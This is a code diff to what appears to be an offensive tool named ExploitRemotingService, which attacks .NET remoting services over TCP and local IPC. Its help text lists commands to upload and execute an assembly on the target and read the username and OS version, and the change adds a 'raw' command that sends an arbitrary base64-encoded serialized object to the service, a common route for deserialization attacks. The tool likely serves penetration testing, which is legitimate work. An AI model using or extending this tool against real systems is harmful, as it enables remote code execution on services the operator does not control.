Add option to send raw serialized objects

ExploitRemotingService/Program.cs

@@ -234,6 +234,7 @@ static void PrintHelp(OptionSet p)
 run  file [args]              : Upload and execute an assembly, calls entry point
 user                          : Print the current username
 ver                           : Print the OS version
+raw base64_object             : Send a raw serialized object to the service
 ");
         }
 
@@ -677,9 +678,8 @@ private static IRemoteClass CreateRemoteClass()
             }
         }
 
-        static object SendRequest(object o, bool remote)
+        static object SendRequest(byte[] data)
         {
-            byte[] data = SerializeObject(o, remote);
             MemoryStream stm = new MemoryStream();
             BinaryWriter writer = new BinaryWriter(stm);
 
@@ -712,7 +712,18 @@ static object SendRequest(object o, bool remote)
 
                     return ParseResult(reader);
                 }
-            } 
+            }
+        }
+
+        static object SendRequest(string base64)
+        {
+            return SendRequest(Convert.FromBase64String(base64));
+        }
+
+        static object SendRequest(object o, bool remote)
+        {
+            byte[] data = SerializeObject(o, remote);
+            return SendRequest(data);
         }
 
         public static T MakeCall<T>(string path, MethodBase mi, params object[] cmdargs)
@@ -925,9 +936,23 @@ static int Main(string[] args)
                         Console.WriteLine("Detected version {0} server", _ver);
                     }
 
-                    IRemoteClass ret = CreateRemoteClass();
+                    if (_cmd.Equals("raw"))
+                    {
+                        if (_cmdargs.Count != 1)
+                        {
+                            Console.Error.WriteLine("Must specify base64 encoded object");
+                        }
+                        else
+                        {
+                            Console.WriteLine(SendRequest(_cmdargs.First<string>()));
+                        }
+                    }
+                    else
+                    {
+                        IRemoteClass ret = CreateRemoteClass();
 
-                    ExecuteCommand(ret);
+                        ExecuteCommand(ret);
+                    }
                 }
                 catch (Exception ex)
                 {
@@ -939,7 +964,7 @@ static int Main(string[] args)
             else
             {
                 return 1;
-            }            
-        }      
+            }
+        }
     }
 }

README.md

@@ -44,6 +44,7 @@ ls   remotedir                : List a remote directory
 run  file [args]              : Upload and execute an assembly, calls entry point
 user                          : Print the current username
 ver                           : Print the OS version
+raw base64_object             : Send a raw serialized object to the service
 </pre>
 
 This tool supports exploit both TCP remoting services and local IPC services. To test